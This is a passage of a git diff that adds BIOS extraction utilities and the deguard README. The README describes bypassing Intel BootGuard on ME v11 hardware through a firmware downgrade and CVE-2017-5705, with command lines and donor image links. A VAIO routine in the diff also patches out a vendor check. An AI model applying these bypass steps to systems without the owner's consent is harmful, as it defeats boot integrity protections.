obfuscated CAB archive!', padding) + + # Determine the Microsoft CAB image size + cab_size = int.from_bytes(buffer[match_cab.start() + 0x8:match_cab.start() + 0xC], 'little') # Get LE XOR-ed CAB size + xor_size = int.from_bytes(b'\xFF' * 0x4, 'little') # Create CAB size XOR value + cab_size ^= xor_size # Perform XOR 0xFF and get actual CAB size + + printer('Removing obfuscation...', padding + 4) + + # Determine the Microsoft CAB image Data + cab_data = int.from_bytes(buffer[match_cab.start():match_cab.start() + cab_size], 'big') # Get BE XOR-ed CAB data + xor_data = int.from_bytes(b'\xFF' * cab_size, 'big') # Create CAB data XOR value + cab_data = (cab_data ^ xor_data).to_bytes(cab_size, 'big') # Perform XOR 0xFF and get actual CAB data + + printer('Extracting archive...', padding + 4) + + cab_path = os.path.join(extract_path, f'{name}_Temporary.cab') + + with open(cab_path, 'wb') as cab_file: + cab_file.write(cab_data) # Create temporary CAB archive + + if is_szip_supported(cab_path, padding + 8, check=True): + if szip_decompress(cab_path, extract_path, 'CAB', padding + 8, check=True) == 0: + os.remove(cab_path) # Successful extraction, delete temporary CAB archive + else: + return 3 + else: + return 2 + + return 0 + +# Unlock VAIO Packaging Manager executable +def vaio_unlock(name, buffer, extract_path, padding=0): + match_cfg = PAT_VAIO_CFG.search(buffer) + + if not match_cfg: + return 1 + + printer('Attempting to Unlock executable!', padding) + + # Initialize VAIO Package Configuration file variables (assume overkill size of 0x500) + cfg_bgn,cfg_end,cfg_false,cfg_true = [match_cfg.start(), match_cfg.start() + 0x500, b'', b''] + + # Get VAIO Package Configuration file info, split at new_line and stop at payload DOS header (EOF) + cfg_info = buffer[cfg_bgn:cfg_end].split(b'\x0D\x0A\x4D\x5A')[0].replace(b'\x0D',b'').split(b'\x0A') + + printer('Retrieving True/False values...', padding + 4) + + # Determine VAIO Package Configuration file True & False values + for info in cfg_info: + if info.startswith(b'ExtractPathByUser='): + cfg_false = bytearray(b'0' if info[18:] in (b'0',b'1') else info[18:]) # Should be 0/No/False + if info.startswith(b'UseCompression='): + cfg_true = bytearray(b'1' if info[15:] in (b'0',b'1') else info[15:]) # Should be 1/Yes/True + + # Check if valid True/False values have been retrieved + if cfg_false == cfg_true or not cfg_false or not cfg_true: + printer('Error: Could not retrieve True/False values!', padding + 8) + return 2 + + printer('Adjusting UseVAIOCheck entry...', padding + 4) + + # Find and replace UseVAIOCheck entry from 1/Yes/True to 0/No/False + vaio_check = PAT_VAIO_CHK.search(buffer[cfg_bgn:]) + if vaio_check: + buffer[cfg_bgn + vaio_check.end():cfg_bgn + vaio_check.end() + len(cfg_true)] = cfg_false + else: + printer('Error: Could not find entry UseVAIOCheck!', padding + 8) + return 3 + + printer('Adjusting ExtractPathByUser entry...', padding + 4) + + # Find and replace ExtractPathByUser entry from 0/No/False to 1/Yes/True + user_path = PAT_VAIO_EXT.search(buffer[cfg_bgn:]) + if user_path: + buffer[cfg_bgn + user_path.end():cfg_bgn + user_path.end() + len(cfg_false)] = cfg_true + else: + printer('Error: Could not find entry ExtractPathByUser!', padding + 8) + return 4 + + printer('Storing unlocked executable...', padding + 4) + + # Store Unlocked VAIO Packaging Manager executable + if vaio_check and user_path: + unlock_path = os.path.join(extract_path, f'{name}_Unlocked.exe') + with open(unlock_path, 'wb') as unl_file: + unl_file.write(buffer) + + return 0 + +# Parse & Extract or Unlock VAIO Packaging Manager +def vaio_pkg_extract(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + input_name = os.path.basename(input_file) + + make_dirs(extract_path, delete=True) + + if vaio_cabinet(input_name, input_buffer, extract_path, padding) == 0: + printer('Successfully Extracted!', padding) + elif vaio_unlock(input_name, bytearray(input_buffer), extract_path, padding) == 0: + printer('Successfully Unlocked!', padding) + else: + printer('Error: Failed to Extract or Unlock executable!', padding) + return 1 + + return 0 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_vaio_pkg, vaio_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/common/checksums.py b/blobs/t480/biosutilities/common/checksums.py new file mode 100644 index 000000000..3e958ab1b --- /dev/null +++ b/blobs/t480/biosutilities/common/checksums.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +# Get Checksum 16-bit +def get_chk_16(data, value=0, order='little'): + for idx in range(0, len(data), 2): + # noinspection PyTypeChecker + value += int.from_bytes(data[idx:idx + 2], order) + + value &= 0xFFFF + + return value + +# Get Checksum 8-bit XOR +def get_chk_8_xor(data, value=0): + for byte in data: + value ^= byte + + value ^= 0x0 + + return value diff --git a/blobs/t480/biosutilities/common/comp_efi.py b/blobs/t480/biosutilities/common/comp_efi.py new file mode 100644 index 000000000..2837898bc --- /dev/null +++ b/blobs/t480/biosutilities/common/comp_efi.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import os +import subprocess + +from common.path_ops import project_root, safe_path +from common.system import get_os_ver, printer + +def get_compress_sizes(data): + size_compress = int.from_bytes(data[0x0:0x4], 'little') + size_original = int.from_bytes(data[0x4:0x8], 'little') + + return size_compress, size_original + +def is_efi_compressed(data, strict=True): + size_comp,size_orig = get_compress_sizes(data) + + check_diff = size_comp < size_orig + + if strict: + check_size = size_comp + 0x8 == len(data) + else: + check_size = size_comp + 0x8 <= len(data) + + return check_diff and check_size + +# Get TianoCompress path +def get_tiano_path(): + exec_name = f'TianoCompress{".exe" if get_os_ver()[1] else ""}' + + return safe_path(project_root(), ['external',exec_name]) + +# EFI/Tiano Decompression via TianoCompress +def efi_decompress(in_path, out_path, padding=0, silent=False, comp_type='--uefi'): + try: + subprocess.run([get_tiano_path(), '-d', in_path, '-o', out_path, '-q', comp_type], check=True, stdout=subprocess.DEVNULL) + + with open(in_path, 'rb') as file: + _,size_orig = get_compress_sizes(file.read()) + + if os.path.getsize(out_path) != size_orig: + raise Exception('EFI_DECOMPRESS_ERROR') + except Exception: + if not silent: + printer(f'Error: TianoCompress could not extract file {in_path}!', padding) + + return 1 + + if not silent: + printer('Succesfull EFI decompression via TianoCompress!', padding) + + return 0 diff --git a/blobs/t480/biosutilities/common/comp_szip.py b/blobs/t480/biosutilities/common/comp_szip.py new file mode 100644 index 000000000..fb6041b82 --- /dev/null +++ b/blobs/t480/biosutilities/common/comp_szip.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import os +import subprocess + +from common.path_ops import project_root, safe_path +from common.system import get_os_ver, printer + +# Get 7-Zip path +def get_szip_path(): + exec_name = '7z.exe' if get_os_ver()[1] else '7zzs' + + return safe_path(project_root(), ['external',exec_name]) + +# Check 7-Zip bad exit codes (0 OK, 1 Warning) +def check_bad_exit_code(exit_code): + if exit_code not in (0,1): + raise Exception(f'BAD_EXIT_CODE_{exit_code}') + +# Check if file is 7-Zip supported +def is_szip_supported(in_path, padding=0, args=None, check=False, silent=False): + try: + if args is None: + args = [] + + szip_c = [get_szip_path(), 't', in_path, *args, '-bso0', '-bse0', '-bsp0'] + + szip_t = subprocess.run(szip_c, check=False) + + if check: + check_bad_exit_code(szip_t.returncode) + except Exception: + if not silent: + printer(f'Error: 7-Zip could not check support for file {in_path}!', padding) + + return False + + return True + +# Archive decompression via 7-Zip +def szip_decompress(in_path, out_path, in_name, padding=0, args=None, check=False, silent=False): + if not in_name: + in_name = 'archive' + + try: + if args is None: + args = [] + + szip_c = [get_szip_path(), 'x', *args, '-aou', '-bso0', '-bse0', '-bsp0', f'-o{out_path}', in_path] + + szip_x = subprocess.run(szip_c, check=False) + + if check: + check_bad_exit_code(szip_x.returncode) + + if not os.path.isdir(out_path): + raise Exception('EXTRACT_DIR_MISSING') + except Exception: + if not silent: + printer(f'Error: 7-Zip could not extract {in_name} file {in_path}!', padding) + + return 1 + + if not silent: + printer(f'Succesfull {in_name} decompression via 7-Zip!', padding) + + return 0 diff --git a/blobs/t480/biosutilities/common/externals.py b/blobs/t480/biosutilities/common/externals.py new file mode 100644 index 000000000..f81e3b912 --- /dev/null +++ b/blobs/t480/biosutilities/common/externals.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +from common.path_ops import project_root, safe_path +from common.system import get_os_ver + +# https://github.com/allowitsme/big-tool by Dmitry Frolov +# https://github.com/platomav/BGScriptTool by Plato Mavropoulos +def get_bgs_tool(): + try: + # noinspection PyUnresolvedReferences + from external.big_script_tool import BigScript # pylint: disable=E0401,E0611 + except Exception: + BigScript = None + + return BigScript + +# Get UEFIFind path +def get_uefifind_path(): + exec_name = f'UEFIFind{".exe" if get_os_ver()[1] else ""}' + + return safe_path(project_root(), ['external', exec_name]) + +# Get UEFIExtract path +def get_uefiextract_path(): + exec_name = f'UEFIExtract{".exe" if get_os_ver()[1] else ""}' + + return safe_path(project_root(), ['external', exec_name]) + +# Get ToshibaComExtractor path +def get_comextract_path(): + exec_name = f'comextract{".exe" if get_os_ver()[1] else ""}' + + return safe_path(project_root(), ['external', exec_name]) diff --git a/blobs/t480/biosutilities/common/num_ops.py b/blobs/t480/biosutilities/common/num_ops.py new file mode 100644 index 000000000..c37e4d742 --- /dev/null +++ b/blobs/t480/biosutilities/common/num_ops.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +# https://leancrew.com/all-this/2020/06/ordinals-in-python/ by Dr. Drang +def get_ordinal(number): + s = ('th', 'st', 'nd', 'rd') + ('th',) * 10 + + v = number % 100 + + return f'{number}{s[v % 10]}' if v > 13 else f'{number}{s[v]}' diff --git a/blobs/t480/biosutilities/common/path_ops.py b/blobs/t480/biosutilities/common/path_ops.py new file mode 100644 index 000000000..bcff167b7 --- /dev/null +++ b/blobs/t480/biosutilities/common/path_ops.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import os +import re +import sys +import stat +import shutil +from pathlib import Path, PurePath + +from common.text_ops import is_encased, to_string + +# Fix illegal/reserved Windows characters +def safe_name(in_name): + name_repr = repr(in_name).strip("'") + + return re.sub(r'[\\/:"*?<>|]+', '_', name_repr) + +# Check and attempt to fix illegal/unsafe OS path traversals +def safe_path(base_path, user_paths): + # Convert base path to absolute path + base_path = real_path(base_path) + + # Merge user path(s) to string with OS separators + user_path = to_string(user_paths, os.sep) + + # Create target path from base + requested user path + target_path = norm_path(base_path, user_path) + + # Check if target path is OS illegal/unsafe + if is_safe_path(base_path, target_path): + return target_path + + # Re-create target path from base + leveled/safe illegal "path" (now file) + nuked_path = norm_path(base_path, safe_name(user_path)) + + # Check if illegal path leveling worked + if is_safe_path(base_path, nuked_path): + return nuked_path + + # Still illegal, raise exception to halt execution + raise Exception(f'ILLEGAL_PATH_TRAVERSAL: {user_path}') + +# Check for illegal/unsafe OS path traversal +def is_safe_path(base_path, target_path): + base_path = real_path(base_path) + + target_path = real_path(target_path) + + common_path = os.path.commonpath((base_path, target_path)) + + return base_path == common_path + +# Create normalized base path + OS separator + user path +def norm_path(base_path, user_path): + return os.path.normpath(base_path + os.sep + user_path) + +# Get absolute path, resolving any symlinks +def real_path(in_path): + return os.path.realpath(in_path) + +# Get Windows/Posix OS agnostic path +def agnostic_path(in_path): + return PurePath(in_path.replace('\\', os.sep)) + +# Get absolute parent of path +def path_parent(in_path): + return Path(in_path).parent.absolute() + +# Get final path component, with suffix +def path_name(in_path): + return PurePath(in_path).name + +# Get final path component, w/o suffix +def path_stem(in_path): + return PurePath(in_path).stem + +# Get list of path file extensions +def path_suffixes(in_path): + return PurePath(in_path).suffixes or [''] + +# Check if path is absolute +def is_path_absolute(in_path): + return Path(in_path).is_absolute() + +# Create folder(s), controlling parents, existence and prior deletion +def make_dirs(in_path, parents=True, exist_ok=False, delete=False): + if delete: + del_dirs(in_path) + + Path.mkdir(Path(in_path), parents=parents, exist_ok=exist_ok) + +# Delete folder(s), if present +def del_dirs(in_path): + if Path(in_path).is_dir(): + shutil.rmtree(in_path, onerror=clear_readonly) + +# Copy file to path with or w/o metadata +def copy_file(in_path, out_path, meta=False): + if meta: + shutil.copy2(in_path, out_path) + else: + shutil.copy(in_path, out_path) + +# Clear read-only file attribute (on shutil.rmtree error) +def clear_readonly(in_func, in_path, _): + os.chmod(in_path, stat.S_IWRITE) + in_func(in_path) + +# Walk path to get all files +def get_path_files(in_path): + path_files = [] + + for root, _, files in os.walk(in_path): + for name in files: + path_files.append(os.path.join(root, name)) + + return path_files + +# Get path without leading/trailing quotes +def get_dequoted_path(in_path): + out_path = to_string(in_path).strip() + + if len(out_path) >= 2 and is_encased(out_path, ("'",'"')): + out_path = out_path[1:-1] + + return out_path + +# Set utility extraction stem +def extract_suffix(): + return '_extracted' + +# Get utility extraction path +def get_extract_path(in_path, suffix=extract_suffix()): + return f'{in_path}{suffix}' + +# Get project's root directory +def project_root(): + root = Path(__file__).parent.parent + + return real_path(root) + +# Get runtime's root directory +def runtime_root(): + if getattr(sys, 'frozen', False): + root = Path(sys.executable).parent + else: + root = project_root() + + return real_path(root) diff --git a/blobs/t480/biosutilities/common/patterns.py b/blobs/t480/biosutilities/common/patterns.py new file mode 100644 index 000000000..ecdde3931 --- /dev/null +++ b/blobs/t480/biosutilities/common/patterns.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import re + +PAT_AMI_PFAT = re.compile(br'_AMIPFAT.AMI_BIOS_GUARD_FLASH_CONFIGURATIONS', re.DOTALL) +PAT_AMI_UCP = re.compile(br'@(UAF|HPU).{12}@', re.DOTALL) +PAT_APPLE_EFI = re.compile(br'\$IBIOSI\$.{16}\x2E\x00.{6}\x2E\x00.{8}\x2E\x00.{6}\x2E\x00.{20}\x00{2}', re.DOTALL) +PAT_APPLE_IM4P = re.compile(br'\x16\x04IM4P\x16\x04mefi') +PAT_APPLE_PBZX = re.compile(br'pbzx') +PAT_APPLE_PKG = re.compile(br'xar!') +PAT_AWARD_LZH = re.compile(br'-lh[04567]-') +PAT_DELL_FTR = re.compile(br'\xEE\xAA\xEE\x8F\x49\x1B\xE8\xAE\x14\x37\x90') +PAT_DELL_HDR = re.compile(br'\xEE\xAA\x76\x1B\xEC\xBB\x20\xF1\xE6\x51.\x78\x9C', re.DOTALL) +PAT_DELL_PKG = re.compile(br'\x72\x13\x55\x00.{45}7zXZ', re.DOTALL) +PAT_FUJITSU_SFX = re.compile(br'FjSfxBinay\xB2\xAC\xBC\xB9\xFF{4}.{4}\xFF{4}.{4}\xFF{4}\xFC\xFE', re.DOTALL) +PAT_INSYDE_IFL = re.compile(br'\$_IFLASH') +PAT_INSYDE_SFX = re.compile(br'\x0D\x0A;!@InstallEnd@!\x0D\x0A(7z\xBC\xAF\x27|\x6E\xF4\x79\x5F\x4E)') +PAT_INTEL_ENG = re.compile(br'\x04\x00{3}[\xA1\xE1]\x00{3}.{8}\x86\x80.{9}\x00\$((MN2)|(MAN))', re.DOTALL) +PAT_INTEL_IFD = re.compile(br'\x5A\xA5\xF0\x0F.{172}\xFF{16}', re.DOTALL) +PAT_MICROSOFT_CAB = re.compile(br'MSCF\x00{4}') +PAT_MICROSOFT_MZ = re.compile(br'MZ') +PAT_MICROSOFT_PE = re.compile(br'PE\x00{2}') +PAT_PHOENIX_TDK = re.compile(br'\$PACK\x00{3}..\x00{2}.\x00{3}', re.DOTALL) +PAT_PORTWELL_EFI = re.compile(br'') +PAT_TOSHIBA_COM = re.compile(br'\x00{2}[\x00-\x02]BIOS.{20}[\x00\x01]', re.DOTALL) +PAT_VAIO_CAB = re.compile(br'\xB2\xAC\xBC\xB9\xFF{4}.{4}\xFF{4}.{4}\xFF{4}\xFC\xFE', re.DOTALL) +PAT_VAIO_CFG = re.compile(br'\[Setting]\x0D\x0A') +PAT_VAIO_CHK = re.compile(br'\x0AUseVAIOCheck=') +PAT_VAIO_EXT = re.compile(br'\x0AExtractPathByUser=') diff --git a/blobs/t480/biosutilities/common/pe_ops.py b/blobs/t480/biosutilities/common/pe_ops.py new file mode 100644 index 000000000..ba23828d6 --- /dev/null +++ b/blobs/t480/biosutilities/common/pe_ops.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import pefile + +from common.system import printer +from common.text_ops import file_to_bytes + +# Check if input is a PE file +def is_pe_file(in_file): + return bool(get_pe_file(in_file)) + +# Get pefile object from PE file +def get_pe_file(in_file, fast=True): + in_buffer = file_to_bytes(in_file) + + try: + # Analyze detected MZ > PE image buffer + pe_file = pefile.PE(data=in_buffer, fast_load=fast) + except Exception: + pe_file = None + + return pe_file + +# Get PE info from pefile object +def get_pe_info(pe_file): + try: + # When fast_load is used, IMAGE_DIRECTORY_ENTRY_RESOURCE must be parsed prior to FileInfo > StringTable + pe_file.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_RESOURCE']]) + + # Retrieve MZ > PE > FileInfo > StringTable information + pe_info = pe_file.FileInfo[0][0].StringTable[0].entries + except Exception: + pe_info = {} + + return pe_info + +# Print PE info from pefile StringTable +def show_pe_info(pe_info, padding=0): + if type(pe_info).__name__ == 'dict': + for title,value in pe_info.items(): + info_title = title.decode('utf-8','ignore').strip() + info_value = value.decode('utf-8','ignore').strip() + if info_title and info_value: + printer(f'{info_title}: {info_value}', padding, new_line=False) diff --git a/blobs/t480/biosutilities/common/struct_ops.py b/blobs/t480/biosutilities/common/struct_ops.py new file mode 100644 index 000000000..b995ba140 --- /dev/null +++ b/blobs/t480/biosutilities/common/struct_ops.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import ctypes + +char = ctypes.c_char +uint8_t = ctypes.c_ubyte +uint16_t = ctypes.c_ushort +uint32_t = ctypes.c_uint +uint64_t = ctypes.c_uint64 + +# https://github.com/skochinsky/me-tools/blob/master/me_unpack.py by Igor Skochinsky +def get_struct(buffer, start_offset, class_name, param_list=None): + if param_list is None: + param_list = [] + + structure = class_name(*param_list) # Unpack parameter list + struct_len = ctypes.sizeof(structure) + struct_data = buffer[start_offset:start_offset + struct_len] + fit_len = min(len(struct_data), struct_len) + + ctypes.memmove(ctypes.addressof(structure), struct_data, fit_len) + + return structure diff --git a/blobs/t480/biosutilities/common/system.py b/blobs/t480/biosutilities/common/system.py new file mode 100644 index 000000000..9598e3026 --- /dev/null +++ b/blobs/t480/biosutilities/common/system.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import sys + +from common.text_ops import padder, to_string + +# Get Python Version (tuple) +def get_py_ver(): + return sys.version_info + +# Get OS Platform (string) +def get_os_ver(): + sys_os = sys.platform + + is_win = sys_os == 'win32' + is_lnx = sys_os.startswith('linux') or sys_os == 'darwin' or sys_os.find('bsd') != -1 + + return sys_os, is_win, is_win or is_lnx + +# Check for --auto-exit|-e +def is_auto_exit(): + return bool('--auto-exit' in sys.argv or '-e' in sys.argv) + +# Check Python Version +def check_sys_py(): + sys_py = get_py_ver() + + if sys_py < (3,10): + sys.stdout.write(f'\nError: Python >= 3.10 required, not {sys_py[0]}.{sys_py[1]}!') + + if not is_auto_exit(): + # noinspection PyUnresolvedReferences + (raw_input if sys_py[0] <= 2 else input)('\nPress enter to exit') # pylint: disable=E0602 + + sys.exit(125) + +# Check OS Platform +def check_sys_os(): + os_tag,os_win,os_sup = get_os_ver() + + if not os_sup: + printer(f'Error: Unsupported platform "{os_tag}"!') + + if not is_auto_exit(): + input('\nPress enter to exit') + + sys.exit(126) + + # Fix Windows Unicode console redirection + if os_win: + sys.stdout.reconfigure(encoding='utf-8') + +# Show message(s) while controlling padding, newline, pausing & separator +def printer(in_message='', padd_count=0, new_line=True, pause=False, sep_char=' '): + message = to_string(in_message, sep_char) + + padding = padder(padd_count) + + newline = '\n' if new_line else '' + + output = newline + padding + message + + (input if pause and not is_auto_exit() else print)(output) diff --git a/blobs/t480/biosutilities/common/templates.py b/blobs/t480/biosutilities/common/templates.py new file mode 100644 index 000000000..f69af33f1 --- /dev/null +++ b/blobs/t480/biosutilities/common/templates.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import os +import sys +import ctypes +import argparse +import traceback + +from common.num_ops import get_ordinal +from common.path_ops import get_dequoted_path, get_extract_path, get_path_files, is_path_absolute, path_parent, runtime_root, safe_path +from common.system import check_sys_os, check_sys_py, get_os_ver, is_auto_exit, printer + +class BIOSUtility: + + MAX_FAT32_ITEMS = 65535 + + def __init__(self, title, check, main, padding=0): + self._title = title + self._main = main + self._check = check + self._padding = padding + self._arguments_kw = {} + + # Initialize argparse argument parser + self._argparser = argparse.ArgumentParser() + + self._argparser.add_argument('files', type=argparse.FileType('r', encoding='utf-8'), nargs='*') + self._argparser.add_argument('-e', '--auto-exit', help='skip all user action prompts', action='store_true') + self._argparser.add_argument('-v', '--version', help='show utility name and version', action='store_true') + self._argparser.add_argument('-o', '--output-dir', help='extract in given output directory') + self._argparser.add_argument('-i', '--input-dir', help='extract from given input directory') + + self._arguments,self._arguments_unk = self._argparser.parse_known_args() + + # Managed Python exception handler + sys.excepthook = self._exception_handler + + # Check Python Version + check_sys_py() + + # Check OS Platform + check_sys_os() + + # Show Script Title + printer(self._title, new_line=False) + + # Show Utility Version on demand + if self._arguments.version: + sys.exit(0) + + # Set console/terminal window title (Windows only) + if get_os_ver()[1]: + ctypes.windll.kernel32.SetConsoleTitleW(self._title) + + # Process input files and generate output path + self._process_input_files() + + # Count input files for exit code + self._exit_code = len(self._input_files) + + def parse_argument(self, *args, **kwargs): + _dest = self._argparser.add_argument(*args, **kwargs).dest + self._arguments = self._argparser.parse_known_args(self._arguments_unk)[0] + self._arguments_kw.update({_dest: self._arguments.__dict__[_dest]}) + + def run_utility(self): + for _input_file in self._input_files: + _input_name = os.path.basename(_input_file) + + printer(['***', _input_name], self._padding) + + if not self._check(_input_file): + printer('Error: This is not a supported input!', self._padding + 4) + + continue # Next input file + + _extract_path = os.path.join(self._output_path, get_extract_path(_input_name)) + + if os.path.isdir(_extract_path): + for _suffix in range(2, self.MAX_FAT32_ITEMS): + _renamed_path = f'{os.path.normpath(_extract_path)}_{get_ordinal(_suffix)}' + + if not os.path.isdir(_renamed_path): + _extract_path = _renamed_path + + break # Extract path is now unique + + if self._main(_input_file, _extract_path, self._padding + 4, **self._arguments_kw) in [0, None]: + self._exit_code -= 1 + + printer('Done!', pause=True) + + sys.exit(self._exit_code) + + # Process input files + def _process_input_files(self): + self._input_files = [] + + if len(sys.argv) >= 2: + # Drag & Drop or CLI + if self._arguments.input_dir: + _input_path_user = self._arguments.input_dir + _input_path_full = self._get_input_path(_input_path_user) if _input_path_user else '' + self._input_files = get_path_files(_input_path_full) + else: + # Parse list of input files (i.e. argparse FileType objects) + for _file_object in self._arguments.files: + # Store each argparse FileType object's name (i.e. path) + self._input_files.append(_file_object.name) + # Close each argparse FileType object (i.e. allow input file changes) + _file_object.close() + + # Set output fallback value for missing argparse Output and Input Path + _output_fallback = path_parent(self._input_files[0]) if self._input_files else None + + # Set output path via argparse Output path or argparse Input path or first input file path + _output_path = self._arguments.output_dir or self._arguments.input_dir or _output_fallback + else: + # Script w/o parameters + _input_path_user = get_dequoted_path(input('\nEnter input directory path: ')) + _input_path_full = self._get_input_path(_input_path_user) if _input_path_user else '' + self._input_files = get_path_files(_input_path_full) + + _output_path = get_dequoted_path(input('\nEnter output directory path: ')) + + self._output_path = self._get_input_path(_output_path) + + # Get absolute input file path + @staticmethod + def _get_input_path(input_path): + if not input_path: + # Use runtime directory if no user path is specified + absolute_path = runtime_root() + else: + # Check if user specified path is absolute + if is_path_absolute(input_path): + absolute_path = input_path + # Otherwise, make it runtime directory relative + else: + absolute_path = safe_path(runtime_root(), input_path) + + return absolute_path + + # https://stackoverflow.com/a/781074 by Torsten Marek + @staticmethod + def _exception_handler(exc_type, exc_value, exc_traceback): + if exc_type is KeyboardInterrupt: + printer('') + else: + printer('Error: Utility crashed, please report the following:\n') + + traceback.print_exception(exc_type, exc_value, exc_traceback) + + if not is_auto_exit(): + input('\nPress enter to exit') + + sys.exit(127) diff --git a/blobs/t480/biosutilities/common/text_ops.py b/blobs/t480/biosutilities/common/text_ops.py new file mode 100644 index 000000000..f00705124 --- /dev/null +++ b/blobs/t480/biosutilities/common/text_ops.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +# Generate padding (spaces or tabs) +def padder(padd_count, tab=False): + return ('\t' if tab else ' ') * padd_count + +# Get String from given input object +def to_string(in_object, sep_char=''): + if type(in_object).__name__ in ('list','tuple'): + out_string = sep_char.join(map(str, in_object)) + else: + out_string = str(in_object) + + return out_string + +# Get Bytes from given buffer or file path +def file_to_bytes(in_object): + object_bytes = in_object + + if type(in_object).__name__ not in ('bytes','bytearray'): + with open(to_string(in_object), 'rb') as object_data: + object_bytes = object_data.read() + + return object_bytes + +# Check if string starts and ends with given character(s) +def is_encased(in_string, chars): + return in_string.startswith(chars) and in_string.endswith(chars) diff --git a/blobs/t480/biosutilities/external/requirements.txt b/blobs/t480/biosutilities/external/requirements.txt new file mode 100644 index 000000000..798c16cf3 --- /dev/null +++ b/blobs/t480/biosutilities/external/requirements.txt @@ -0,0 +1,2 @@ +lznt1 >= 0.2 +pefile >= 2022.5.30 diff --git a/blobs/t480/deguard/.gitignore b/blobs/t480/deguard/.gitignore new file mode 100644 index 000000000..834b16bde --- /dev/null +++ b/blobs/t480/deguard/.gitignore @@ -0,0 +1,2 @@ +__pycache__ +test diff --git a/blobs/t480/deguard/README.md b/blobs/t480/deguard/README.md new file mode 100644 index 000000000..186001cea --- /dev/null +++ b/blobs/t480/deguard/README.md @@ -0,0 +1,81 @@ +# Bypass Intel BootGuard on ME v11.x.x.x hardware + +This utility allows generating BootGuard bypass images for hardware running ME v11.x.x.x firmware. + +This includes Skylake, Kaby Lake, and some Coffee Lake PCHs. Both the H (desktop) and LP (mobile) firmware +varaints are supported. + +## Background + +This uses [CVE-2017-5705](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html). + +It has been fixed by Intel in newer ME v11.x.x.x firmware releases, however ME11 hardware has no protection +against downgrading the ME version by overwriting the SPI flash physically, thus we can downgrade to a vulnerable +version. + +After downgrade, we exploit the bup module of the vulnerable firmware, overwriting the copy of field programmable fuses +stored in SRAM, resulting in the fused BootGuard configuration being replaced with our desired one. + +## Adding new target + +As a board porter, you need to provide the delta between the default and vendor provided ME configuration. + +This goes in the `data/delta/` directory for each target. + +To obtain this, dump the vendor firmware from your board, and execute: + +`./generatedelta.py --input --output data/delta/` + +Note the delta generation only takes your factory dump as an input. This is because an ME image contains both the +default and system specific configuration, and these can be compared by deguard. + +You *must discard* the `/home/secureboot` directory from the delta for the zero FPF config to work. + +You can optionally also discard `home/{amt,fwupdate,pavp,ptt}` from the delta. + +## Generating images for an existing target + +As a user wishing to generate an image for a supported target: + +You will need to obtain a donor image for your platform variant with a supported ME version (see URLs below). + +This can either be a full image with a flash descriptor or just a bare ME region. + +Afterwards, execute the following command and enjoy: + +`./finalimage.py --delta data/delta/ --version --pch --sku <2M or 5M SKU> --fake-fpfs data/fpfs/zero --input --output ` + +The output will be a bare deguard patched ME region. + +Please note: +- The **the HAP bit must be enabled** in your flash descriptor for deguard generated ME images to work. +- The DCI bit must be enabled in your flash descriptor for DCI debugging over USB. + + +## Note on field programmable fuses + +This document recommends faking a set of FPFs that are all zero as a BootGuard bypass strategy. + +This causes the platform to work in legacy mode, and does not require dumping the fuses from the PCH. + +It is also possible to enable measured mode instead (there is some example FPF data for this). + +Theoretically it is possible to even re-enable BootGuard with a custom private key (with the caveat that it is +obviously insecure against physical access). + +## Donor images + +This section lists some URLs to recommended and tested donor images. Any image with a supported firmware +version and variant ought to work, but the path of least resistance is for everyone to use the same images. + +|Version|Variant|SKU|URL|Notes| +|-|-|-|-| +|11.6.0.1126|H (Desktop)|2M|[link](https://web.archive.org/web/20230822134231/https://download.asrock.com/BIOS/1151/H110M-DGS(7.30)ROM.zip)|Zipped flash image| +|11.6.0.1126|LP (Laptop)|2M|[link](https://web.archive.org/web/20241110222323/https://dl.dell.com/FOLDER04573471M/1/Inspiron_5468_1.3.0.exe)|Dell BIOS update (use Dell_PFS_Extract.py)| + +## Thanks + +Thanks goes to PT Research and Youness El Alaoui for previous work on exploiting Intel SA 00086, which this PoC is heavily reliant on. + +- [IntelTXE-PoC](https://github.com/kakaroto/IntelTXE-PoC) +- [MFSUtil](https://github.com/kakaroto/MFSUtil) diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map new file mode 100644 index 0000000000000000000000000000000000000000..78259a9dc541f003d09457207db1840901d2d1ab GIT binary patch literal 7 OcmZ>37i8dJ-~a#xoB;Cx literal 0 HcmV?d00001 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base new file mode 100644 index 0000000000000000000000000000000000000000..658a9660e31c0501f3e9fba168279fecec236f8b GIT 